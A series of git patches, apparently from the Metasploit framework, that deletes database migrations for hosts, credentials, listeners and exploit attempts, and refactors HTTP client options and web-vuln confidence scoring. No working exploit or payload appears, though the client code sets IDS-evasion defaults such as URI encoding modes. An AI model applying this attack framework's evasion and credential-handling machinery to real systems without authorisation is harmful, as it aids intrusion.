"smb_hash", "userpass" - "userpass" # They're treated the same - when "password" - "pass" - end - next unless actual_ftype - say "Registering credential file '%s' for workspace %d as type '%s'" % [fname,wid,actual_ftype] - cred_file = CredFile.new - cred_file.workspace_id = wid - cred_file.created_by = "" - cred_file.path = fname - cred_file.name = "#{ftype}.txt" - cred_file.desc = "Migrated #{ftype} credentials" - cred_file.ftype = actual_ftype - if cred_file.save - successful_count += 1 - say "Successfully imported #{ftype} credentials for workspace #{wid}" - end - end - successful_count - end - - end - - def self.up - cred_path = find_or_create_cred_path - if cred_path - old_imported_creds = find_all_imported_creds_by_workspace - new_files = write_creds_to_files(old_imported_creds,cred_path) - successful_count = register_new_files(new_files) - end - end - - # Sorry, can't get the old data back. - def self.down - end - -end diff --git a/data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb b/data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb deleted file mode 100755 index ee9ee21070..0000000000 --- a/data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddSettingsToTasksTable < ActiveRecord::Migration - - def self.up - add_column :tasks, :settings, :binary - end - - def self.down - remove_column :tasks, :settings - end - -end - diff --git a/data/sql/migrate/20110624000001_add_listeners_table.rb b/data/sql/migrate/20110624000001_add_listeners_table.rb deleted file mode 100755 index c541be2131..0000000000 --- a/data/sql/migrate/20110624000001_add_listeners_table.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddListenersTable < ActiveRecord::Migration - def self.up - create_table :listeners do |t| - t.timestamps - t.integer :workspace_id, :null => false, :default => 1 - t.integer :task_id - t.boolean :enabled, :default => true - t.text :owner - t.text :payload - t.text :address - t.integer :port - t.binary :options - end - end - def self.down - drop_table :listeners - end -end - diff --git a/data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb b/data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb deleted file mode 100755 index 283d102105..0000000000 --- a/data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddMacroToListenersTable < ActiveRecord::Migration - - def self.up - add_column :listeners, :macro, :text - end - - def self.down - remove_column :listeners, :macro - end - -end - diff --git a/data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb b/data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb deleted file mode 100755 index 037af40ae1..0000000000 --- a/data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb +++ /dev/null @@ -1,21 +0,0 @@ -class AddNexposeConsolesTable < ActiveRecord::Migration - def self.up - create_table :nexpose_consoles do |t| - t.timestamps - t.boolean :enabled, :default => true - t.text :owner - t.text :address - t.integer :port, :default => 3780 - t.text :username - t.text :password - t.text :status - t.text :version - t.text :cert - t.binary :cached_sites - end - end - def self.down - drop_table :nexpose_consoles - end -end - diff --git a/data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb deleted file mode 100755 index 9411724344..0000000000 --- a/data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddNameToNexposeConsolesTable < ActiveRecord::Migration - - def self.up - add_column :nexpose_consoles, :name, :text - end - - def self.down - remove_column :nexpose_consoles, :name - end - -end - diff --git a/data/sql/migrate/20110717000001_add_profiles_table.rb b/data/sql/migrate/20110717000001_add_profiles_table.rb deleted file mode 100755 index c0b8831bf1..0000000000 --- a/data/sql/migrate/20110717000001_add_profiles_table.rb +++ /dev/null @@ -1,15 +0,0 @@ -class AddProfilesTable < ActiveRecord::Migration - def self.up - create_table :profiles do |t| - t.timestamps - t.boolean :active, :default => true - t.text :name - t.text :owner - t.binary :settings - end - end - def self.down - drop_table :profiles - end -end - diff --git a/data/sql/migrate/20110727163801_expand_cred_ptype_column.rb b/data/sql/migrate/20110727163801_expand_cred_ptype_column.rb deleted file mode 100755 index b5fce6fd8f..0000000000 --- a/data/sql/migrate/20110727163801_expand_cred_ptype_column.rb +++ /dev/null @@ -1,9 +0,0 @@ -class ExpandCredPtypeColumn < ActiveRecord::Migration - def self.up - change_column :creds, :ptype, :string, :limit => 256 - end - def self.down - change_column :creds, :ptype, :string, :limit => 16 - end -end - diff --git a/data/sql/migrate/20110730000001_add_initial_indexes.rb b/data/sql/migrate/20110730000001_add_initial_indexes.rb deleted file mode 100755 index 4085f64843..0000000000 --- a/data/sql/migrate/20110730000001_add_initial_indexes.rb +++ /dev/null @@ -1,85 +0,0 @@ -class AddInitialIndexes < ActiveRecord::Migration - def self.up - - - add_index :hosts, :address - add_index :hosts, :address6 - add_index :hosts, :name - add_index :hosts, :state - add_index :hosts, :os_name - add_index :hosts, :os_flavor - add_index :hosts, :purpose - - # Removed (conditionally dropped in the next migration) - # add_index :hosts, :comments - - add_index :services, :port - add_index :services, :proto - add_index :services, :state - add_index :services, :name - - # Removed (conditionally dropped in the next migration) - # add_index :services, :info - - add_index :notes, :ntype - - add_index :vulns, :name - - # Removed (conditionally dropped in the next migration) - # add_index :vulns, :info - - add_index :refs, :name - - add_index :web_sites, :vhost - add_index :web_sites, :comments - add_index :web_sites, :options - - add_index :web_pages, :path - add_index :web_pages, :query - - add_index :web_forms, :path - - add_index :web_vulns, :path - add_index :web_vulns, :method - add_index :web_vulns, :name - end - - def self.down - - remove_index :hosts, :address - remove_index :hosts, :address6 - remove_index :hosts, :name - remove_index :hosts, :state - remove_index :hosts, :os_name - remove_index :hosts, :os_flavor - remove_index :hosts, :purpose - remove_index :hosts, :comments - - remove_index :services, :port - remove_index :services, :proto - remove_index :services, :state - remove_index :services, :name - remove_index :services, :info - - remove_index :notes, :ntype - - remove_index :vulns, :name - remove_index :vulns, :info - - remove_index :refs, :name - - remove_index :web_sites, :vhost - remove_index :web_sites, :comments - remove_index :web_sites, :options - - remove_index :web_pages, :path - remove_index :web_pages, :query - - remove_index :web_forms, :path - - remove_index :web_vulns, :path - remove_index :web_vulns, :method - remove_index :web_vulns, :name - end -end - diff --git a/data/sql/migrate/20110812000001_prune_indexes.rb b/data/sql/migrate/20110812000001_prune_indexes.rb deleted file mode 100755 index 54b681f273..0000000000 --- a/data/sql/migrate/20110812000001_prune_indexes.rb +++ /dev/null @@ -1,23 +0,0 @@ -class PruneIndexes < ActiveRecord::Migration - def self.up - - if indexes(:hosts).map{|x| x.columns }.flatten.include?("comments") - remove_index :hosts, :comments - end - - if indexes(:services).map{|x| x.columns }.flatten.include?("info") - remove_index :services, :info - end - - if indexes(:vulns).map{|x| x.columns }.flatten.include?("info") - remove_index :vulns, :info - end - end - - def self.down - add_index :hosts, :comments - add_index :services, :info - add_index :vulns, :info - end -end - diff --git a/data/sql/migrate/20110922000000_expand_notes.rb b/data/sql/migrate/20110922000000_expand_notes.rb deleted file mode 100755 index 4e77303fa0..0000000000 --- a/data/sql/migrate/20110922000000_expand_notes.rb +++ /dev/null @@ -1,9 +0,0 @@ -class ExpandNotes < ActiveRecord::Migration - def self.up - change_column :notes, :data, :text - end - def self.down - change_column :notes, :data, :string, :limit => 65536 - end -end - diff --git a/data/sql/migrate/20110928101300_add_mod_ref_table.rb b/data/sql/migrate/20110928101300_add_mod_ref_table.rb deleted file mode 100755 index 24f16d642f..0000000000 --- a/data/sql/migrate/20110928101300_add_mod_ref_table.rb +++ /dev/null @@ -1,17 +0,0 @@ -# Probably temporary, a spot to stash module names and their associated refs -# Don't count on it being populated at any given moment. -class AddModRefTable < ActiveRecord::Migration - - def self.up - create_table :mod_refs do |t| - t.string :module, :limit => 1024 - t.string :mtype, :limit => 128 - t.text :ref - end - end - - def self.down - drop_table :mod_refs - end - -end diff --git a/data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb b/data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb deleted file mode 100755 index f0c54fed98..0000000000 --- a/data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb +++ /dev/null @@ -1,24 +0,0 @@ -class AddDisplayNameToReportsTable < ActiveRecord::Migration - - class Report < ActiveRecord::Base - end - - def self.up - - add_column :reports, :name, :string, :limit => 63 - - # Migrate to have a default name. - - Report.find(:all).each do |report| - rtype = report.rtype.to_s =~ /^([A-Z0-9]+)\x2d/i ? $1 : "AUDIT" - default_name = rtype[0,57].downcase.capitalize + "-" + report.id.to_s[0,5] - report.name = default_name - report.save - end - end - - def self.down - remove_column :reports, :name - end - -end diff --git a/data/sql/migrate/20111203000000_inet_columns.rb b/data/sql/migrate/20111203000000_inet_columns.rb deleted file mode 100755 index 6e86654bc5..0000000000 --- a/data/sql/migrate/20111203000000_inet_columns.rb +++ /dev/null @@ -1,13 +0,0 @@ -class InetColumns < ActiveRecord::Migration - - def self.up - change_column :hosts, :address, 'INET using address::INET' - remove_column :hosts, :address6 - end - - def self.down - change_column :hosts, :address, :text - add_column :hosts, :address6, :text - end - -end diff --git a/data/sql/migrate/20111204000000_more_inet_columns.rb b/data/sql/migrate/20111204000000_more_inet_columns.rb deleted file mode 100755 index 56adf64625..0000000000 --- a/data/sql/migrate/20111204000000_more_inet_columns.rb +++ /dev/null @@ -1,17 +0,0 @@ -class MoreInetColumns < ActiveRecord::Migration - - def self.up - change_column :wmap_requests, :address, 'INET using address::INET' - remove_column :wmap_requests, :address6 - change_column :wmap_targets, :address, 'INET using address::INET' - remove_column :wmap_targets, :address6 - end - - def self.down - change_column :wmap_requests, :address, :string, :limit => 16 - add_column :wmap_requests, :address6, :string, :limit => 255 - change_column :wmap_targets, :address, :string, :limit => 16 - add_column :wmap_targets, :address6, :string, :limit => 255 - end - -end diff --git a/data/sql/migrate/20111210000000_add_scope_to_hosts.rb b/data/sql/migrate/20111210000000_add_scope_to_hosts.rb deleted file mode 100755 index 2bbe8f9f77..0000000000 --- a/data/sql/migrate/20111210000000_add_scope_to_hosts.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddScopeToHosts < ActiveRecord::Migration - def self.up - add_column :hosts, :scope, :text - end - - def self.down - remove_column :hosts, :scope - end -end diff --git a/data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb b/data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb deleted file mode 100755 index 5e9833d884..0000000000 --- a/data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddVirtualHostToHosts < ActiveRecord::Migration - def self.up - add_column :hosts, :virtual_host, :text - end - - def self.down - remove_column :hosts, :viritual_host - end -end diff --git a/data/sql/migrate/20120411173220_rename_workspace_members.rb b/data/sql/migrate/20120411173220_rename_workspace_members.rb deleted file mode 100755 index 75003d6d36..0000000000 --- a/data/sql/migrate/20120411173220_rename_workspace_members.rb +++ /dev/null @@ -1,9 +0,0 @@ -class RenameWorkspaceMembers < ActiveRecord::Migration - def up - rename_table :project_members, :workspace_members - end - - def down - rename_table :workspace_members, :project_members - end -end diff --git a/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb b/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb deleted file mode 100755 index fcd2f9e0ca..0000000000 --- a/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb +++ /dev/null @@ -1,21 +0,0 @@ -class AddCounterCachesToHosts < ActiveRecord::Migration - - def self.up - add_column :hosts, :note_count, :integer, :default => 0 - add_column :hosts, :vuln_count, :integer, :default => 0 - add_column :hosts, :service_count, :integer, :default => 0 - - Mdm::Host.reset_column_information - Mdm::Host.all.each do |h| - Mdm::Host.reset_counters h.id, :notes - Mdm::Host.reset_counters h.id, :vulns - Mdm::Host.reset_counters h.id, :services - end - end - - def self.down - remove_column :hosts, :note_count - remove_column :hosts, :vuln_count - remove_column :hosts, :service_count - end -end \ No newline at end of file diff --git a/data/sql/migrate/20120625000000_add_vuln_details.rb b/data/sql/migrate/20120625000000_add_vuln_details.rb deleted file mode 100755 index 0f946da39c..0000000000 --- a/data/sql/migrate/20120625000000_add_vuln_details.rb +++ /dev/null @@ -1,34 +0,0 @@ -class AddVulnDetails < ActiveRecord::Migration - - def self.up - create_table :vuln_details do |t| - t.integer :vuln_id # Vuln table reference - t.float :cvss_score # 0.0 to 10.0 - t.string :cvss_vector # Ex: (AV:N/AC:L/Au:N/C:C/I:C/A:C)(AV:N/AC:L/Au:N/C:C/I:C/A:C) - - t.string :title # Short identifier - t.text :description # Plain text or HTML (trusted) - t.text :solution # Plain text or HTML (trusted) - t.binary :proof # Should be UTF-8, but may not be, sanitize on output - # Technically this duplicates vuln.info, but that field - # is poorly managed / handled today. Eventually we will - # replace vuln.info - - # Nexpose-specific fields - t.integer :nx_console_id # NexposeConsole table reference - t.integer :nx_device_id # Reference from the Nexpose side - t.string :nx_vuln_id # 'jre-java-update-flaw' - t.float :nx_severity # 0-10 - t.float :nx_pci_severity # 0-10 - t.timestamp :nx_published # Normalized from "20081205T000000000" - t.timestamp :nx_added # Normalized from "20081205T000000000" - t.timestamp :nx_modified # Normalized from "20081205T000000000" - t.text :nx_tags # Comma separated - - end - end - - def self.down - drop_table :vuln_details - end -end diff --git a/data/sql/migrate/20120625000001_add_host_details.rb b/data/sql/migrate/20120625000001_add_host_details.rb deleted file mode 100755 index 36e70892fa..0000000000 --- a/data/sql/migrate/20120625000001_add_host_details.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddHostDetails < ActiveRecord::Migration - - def self.up - create_table :host_details do |t| - t.integer :host_id # Host table reference - - # Nexpose-specific fields - t.integer :nx_console_id # NexposeConsole table reference - t.integer :nx_device_id # Reference from the Nexpose side - end - end - - def self.down - drop_table :host_details - end -end diff --git a/data/sql/migrate/20120625000002_expand_details.rb b/data/sql/migrate/20120625000002_expand_details.rb deleted file mode 100755 index bd240ecdc5..0000000000 --- a/data/sql/migrate/20120625000002_expand_details.rb +++ /dev/null @@ -1,16 +0,0 @@ -class ExpandDetails < ActiveRecord::Migration - - def self.up - add_column :vuln_details, :nx_vuln_status, :text - add_column :vuln_details, :nx_proof_key, :text - add_column :vuln_details, :src, :string - add_column :host_details, :src, :string - end - - def self.down - remove_column :vuln_details, :nx_vuln_status - remove_column :vuln_details, :nx_proof_key - remove_column :vuln_details, :src - remove_column :host_details, :src - end -end diff --git a/data/sql/migrate/20120625000003_expand_details2.rb b/data/sql/migrate/20120625000003_expand_details2.rb deleted file mode 100755 index 4122503692..0000000000 --- a/data/sql/migrate/20120625000003_expand_details2.rb +++ /dev/null @@ -1,24 +0,0 @@ -class ExpandDetails2 < ActiveRecord::Migration - - def self.up - add_column :host_details, :nx_site_name, :string - add_column :host_details, :nx_site_importance, :string - add_column :host_details, :nx_scan_template, :string - add_column :host_details, :nx_risk_score, :float - - add_column :vuln_details, :nx_scan_id, :integer - add_column :vuln_details, :nx_vulnerable_since, :timestamp - add_column :vuln_details, :nx_pci_compliance_status, :string - end - - def self.down - remove_column :host_details, :nx_site_name - remove_column :host_details, :nx_site_importance - remove_column :host_details, :nx_scan_template - remove_column :host_details, :nx_risk_score - - remove_column :vuln_details, :nx_scan_id - remove_column :vuln_details, :nx_vulnerable_since - remove_column :vuln_details, :nx_pci_compliance_status - end -end diff --git a/data/sql/migrate/20120625000004_add_vuln_attempts.rb b/data/sql/migrate/20120625000004_add_vuln_attempts.rb deleted file mode 100755 index b943fe358f..0000000000 --- a/data/sql/migrate/20120625000004_add_vuln_attempts.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddVulnAttempts < ActiveRecord::Migration - - def self.up - create_table :vuln_attempts do |t| - t.integer :vuln_id # Vuln table reference - t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited - t.boolean :exploited # Whether or not the attempt succeeded - t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant - t.string :username # The user that tested this vulnerability - t.text :module # The specific module name that was used - t.integer :session_id # Database identifier of any opened session - t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) - end - end - - def self.down - drop_table :vuln_attempts - end -end diff --git a/data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb deleted file mode 100755 index c34101fd89..0000000000 --- a/data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb +++ /dev/null @@ -1,14 +0,0 @@ -class AddVulnAndHostCounterCaches < ActiveRecord::Migration - - def self.up - add_column :hosts, :host_detail_count, :integer, :default => 0 - add_column :vulns, :vuln_detail_count, :integer, :default => 0 - add_column :vulns, :vuln_attempt_count, :integer, :default => 0 - end - - def self.down - remove_column :hosts, :host_detail_count - remove_column :vulns, :vuln_detail_count - remove_column :vulns, :vuln_attempt_count - end -end diff --git a/data/sql/migrate/20120625000006_add_module_details.rb b/data/sql/migrate/20120625000006_add_module_details.rb deleted file mode 100755 index cb99f7ee84..0000000000 --- a/data/sql/migrate/20120625000006_add_module_details.rb +++ /dev/null @@ -1,118 +0,0 @@ -class AddModuleDetails < ActiveRecord::Migration - - def self.up - - create_table :module_details do |t| - t.timestamp :mtime # disk modified time - t.text :file # location on disk - t.string :mtype # exploit, auxiliary, post, etc - t.text :refname # module path (no type) - t.text :fullname # module path with type - t.text :name # module title - t.integer :rank # exploit rank - t.text :description # - t.string :license # MSF_LICENSE - t.boolean :privileged # true or false - t.timestamp :disclosure_date # Mar 10 2004 - t.integer :default_target # 0 - t.text :default_action # "scan" - t.string :stance # "passive" - t.boolean :ready # true/false - end - - add_index :module_details, :refname - add_index :module_details, :name - add_index :module_details, :description - add_index :module_details, :mtype - - create_table :module_authors do |t| - t.integer :module_detail_id - t.text :name - t.text :email - end - add_index :module_authors, :module_detail_id - - create_table :module_mixins do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_mixins, :module_detail_id - - create_table :module_targets do |t| - t.integer :module_detail_id - t.integer :index - t.text :name - end - add_index :module_targets, :module_detail_id - - create_table :module_actions do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_actions, :module_detail_id - - create_table :module_refs do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_refs, :module_detail_id - add_index :module_refs, :name - - create_table :module_archs do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_archs, :module_detail_id - - create_table :module_platforms do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_platforms, :module_detail_id - - end - - def self.down - remove_index :module_details, :refname - remove_index :module_details, :name - remove_index :module_details, :description - remove_index :module_details, :mtype - - remove_index :module_authors, :module_detail_id - remove_index :module_mixins, :module_detail_id - remove_index :module_targets, :module_detail_id - remove_index :module_actions, :module_detail_id - remove_index :module_refs, :module_detail_id - remove_index :module_refs, :name - remove_index :module_archs, :module_detail_id - remove_index :module_platform, :module_detail_id - - drop_table :module_details - drop_table :module_authors - drop_table :module_mixins - drop_table :module_targets - drop_table :module_actions - drop_table :module_refs - drop_table :module_archs - drop_table :module_platforms - - end -end - -=begin - -Mdm::Host.find_by_sql(" -SELECT - hosts.id, hosts.address, module_details.mtype AS mtype, module_details.refname AS mname, vulns.name AS vname, refs.name AS vref -FROM - hosts,vulns,vulns_refs,refs,module_refs,module_details -WHERE - hosts.id = vulns.host_id AND - vulns.id = vulns_refs.vuln_id AND - vulns_refs.ref_id = refs.id AND - refs.name = module_refs.name AND - module_refs.module_detail_id = modules_details.id -").map{|x| [x.address, x.mname, x.vname, x.vref ] } - - -=end diff --git a/data/sql/migrate/20120625000007_add_exploit_attempts.rb b/data/sql/migrate/20120625000007_add_exploit_attempts.rb deleted file mode 100755 index 22d3ec0b1f..0000000000 --- a/data/sql/migrate/20120625000007_add_exploit_attempts.rb +++ /dev/null @@ -1,26 +0,0 @@ -class AddExploitAttempts < ActiveRecord::Migration - - def self.up - create_table :exploit_attempts do |t| - t.integer :host_id # Host table reference (primary) - t.integer :service_id # Service table reference (optional) - t.integer :vuln_id # Vuln table reference (optional) - t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited - t.boolean :exploited # Whether or not the attempt succeeded - t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant - t.string :username # The user that tested this vulnerability - t.text :module # The specific module name that was used - t.integer :session_id # Database identifier of any opened session - t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) - t.integer :port # Port -> Services are created/destroyed frequently and failed - t.string :proto # Protocol | attempts may be against closed ports. - end - - add_column :hosts, :exploit_attempt_count, :integer, :default => 0 - end - - def self.down - drop_table :exploit_attempts - remove_column :hosts, :exploit_attempt_count - end -end diff --git a/data/sql/migrate/20120625000008_add_fail_message.rb b/data/sql/migrate/20120625000008_add_fail_message.rb deleted file mode 100755 index 7d6dd0f96b..0000000000 --- a/data/sql/migrate/20120625000008_add_fail_message.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddFailMessage < ActiveRecord::Migration - - def self.up - add_column :vuln_attempts, :fail_detail, :text - add_column :exploit_attempts, :fail_detail, :text - end - - def self.down - remove_column :vuln_attempts, :fail_detail - remove_column :exploit_attempts, :fail_detail - end -end diff --git a/data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb deleted file mode 100644 index 2160e61de6..0000000000 --- a/data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb +++ /dev/null @@ -1,13 +0,0 @@ -class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration - - def self.up - add_column :web_vulns, :owner, :string - add_column :web_vulns, :payload, :text - end - - def self.down - remove_column :web_vulns, :owner - remove_column :web_vulns, :payload - end - -end diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index a5bdf41fef..42974b229a 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -69,7 +69,7 @@ class DBManager self.framework = framework self.migrated = false - self.migration_paths = [ ::File.join(Msf::Config.install_root, "data", "sql", "migrate") ] + self.migration_paths = [] self.modules_cached = false self.modules_caching = false @@ -82,6 +82,10 @@ class DBManager end initialize_database_support + + # have to set migration paths after initialize_database_support as it loads + # MetasploitDataModels. + self.migration_paths << MetasploitDataModels.root.join('db', 'migrate').to_s end # From 862b8137865592b613f784edecddeeac2be2ae2b Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Fri, 1 Mar 2013 18:33:16 +0200 Subject: [PATCH 393/448] Auxiliary::Web: fixed confidence calc in log methods --- lib/msf/core/auxiliary/web.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 48428b720c..70c824bfcb 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,7 +179,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, + :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } @@ -211,7 +211,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, + :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } From 902948e5d395e244165e9d5c9e00a8e3faa97f76 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 1 Mar 2013 11:01:00 -0600 Subject: [PATCH 394/448] cleanup options --- lib/rex/proto/http/client.rb | 43 ++++------------------------ lib/rex/proto/http/client_request.rb | 3 +- 2 files changed, 8 insertions(+), 38 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 38b5c3ac2b..47fa021f4f 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -129,23 +129,12 @@ class Client # # @return [ClientRequest] def request_raw(opts={}) - opts['agent'] ||= config['agent'] - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - + opts = self.config.merge(opts) + + opts['ssl'] = self.ssl opts['cgi'] = false opts['port'] = self.port - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['version'] = opts['version'] || config['version'] || '1.1' - + req = ClientRequest.new(opts) end @@ -162,33 +151,13 @@ class Client # # @return [ClientRequest] def request_cgi(opts={}) - opts['agent'] ||= config['agent'] - opts['basic_auth'] ||= config['basic_auth'] || '' - opts['cookie'] ||= config['cookie'] + opts = self.config.merge(opts) + opts['ctype'] ||= 'application/x-www-form-urlencoded' - opts['data'] ||= '' - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['raw_headers'] ||= config['raw_headers'] || '' - opts['uri'] ||= '/' - opts['vars_get'] ||= {} - opts['vars_post'] ||= {} - opts['version'] ||= config['version'] || '1.1' - opts['vhost'] ||= config['vhost'] - opts['ssl'] = self.ssl opts['cgi'] = true opts['port'] = self.port - if opts['encode_params'] == true or opts['encode_params'].nil? - opts['encode_params'] = true - else - opts['encode_params'] = false - end - req = ClientRequest.new(opts) end diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 039d11559d..c941342fe7 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -27,6 +27,7 @@ class ClientRequest 'path_info' => '', 'port' => 80, 'proto' => 'HTTP', + 'query' => '', 'ssl' => false, 'uri' => '/', 'vars_get' => {}, @@ -38,7 +39,7 @@ class ClientRequest # Evasion options # 'encode_params' => true, - 'encode' => true, + 'encode' => false, 'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all 'uri_encode_count' => 1, # integer 'uri_full_url' => false, # bool From ac65c54cc53aacd527df02057340e3f26a626c95 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Fri, 1 Mar 2013 19:37:41 +0200 Subject: [PATCH 395/448] Auxiliary::Web: fixed the previous confidence fix --- lib/msf/core/auxiliary/web.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 70c824bfcb..36571c5ac4 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,10 +179,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})" @@ -211,10 +212,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" From 7b8654a71d712ecd8158659c6c939827a3a49b64 Mon Sep 17 00:00:00 2001 From: Samuel Huckins Date: Fri, 1 Mar 2013 11:41:06 -0600 Subject: [PATCH 396/448] Revert "Merge pull request #1534 from tasos-r7/bugfix/web-vuln-confidence" This reverts commit 3840ddccbce47cacb33415ad8301a4cf04fa7462, reversing changes made to e1891f08366c459701a13f545a13ce5b926e89f6. --- lib/msf/core/auxiliary/web.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 70c824bfcb..48428b720c 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,7 +179,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), + :confidence => details[:category] || opts[:confidence] || 100, :owner => self } @@ -211,7 +211,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), + :confidence => details[:category] || opts[:confidence] || 100, :owner => self } From 4212c36566836d99d8bf16db5dffa7dc84013d26 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 1 Mar 2013 11:59:02 -0600 Subject: [PATCH 397/448] Fix up basic auth madness --- lib/msf/core/exploit/http/client.rb | 7 +++---- lib/rex/proto/http/client.rb | 1 - lib/rex/proto/http/client_request.rb | 6 ------ .../auxiliary/admin/http/iis_auth_bypass.rb | 2 +- .../admin/http/intersil_pass_reset.rb | 4 ++-- .../admin/http/linksys_wrt54gl_exec.rb | 4 ++-- .../admin/http/netgear_sph200d_traversal.rb | 4 ++-- modules/auxiliary/gather/xbmc_traversal.rb | 2 +- .../auxiliary/scanner/http/http_traversal.rb | 8 +++----- .../auxiliary/scanner/http/jboss_vulnscan.rb | 2 +- .../multi/http/netwin_surgeftp_exec.rb | 2 +- spec/lib/rex/proto/http/client_spec.rb | 20 ------------------- 12 files changed, 16 insertions(+), 46 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 5d8a48891e..6769a44b9a 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -163,7 +163,6 @@ module Exploit::Remote::HttpClient nclient.set_config( 'vhost' => self.vhost(), 'agent' => datastore['UserAgent'], - 'basic_auth' => self.basic_auth, 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 'uri_full_url' => datastore['HTTP::uri_full_url'], 'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'], @@ -292,9 +291,9 @@ module 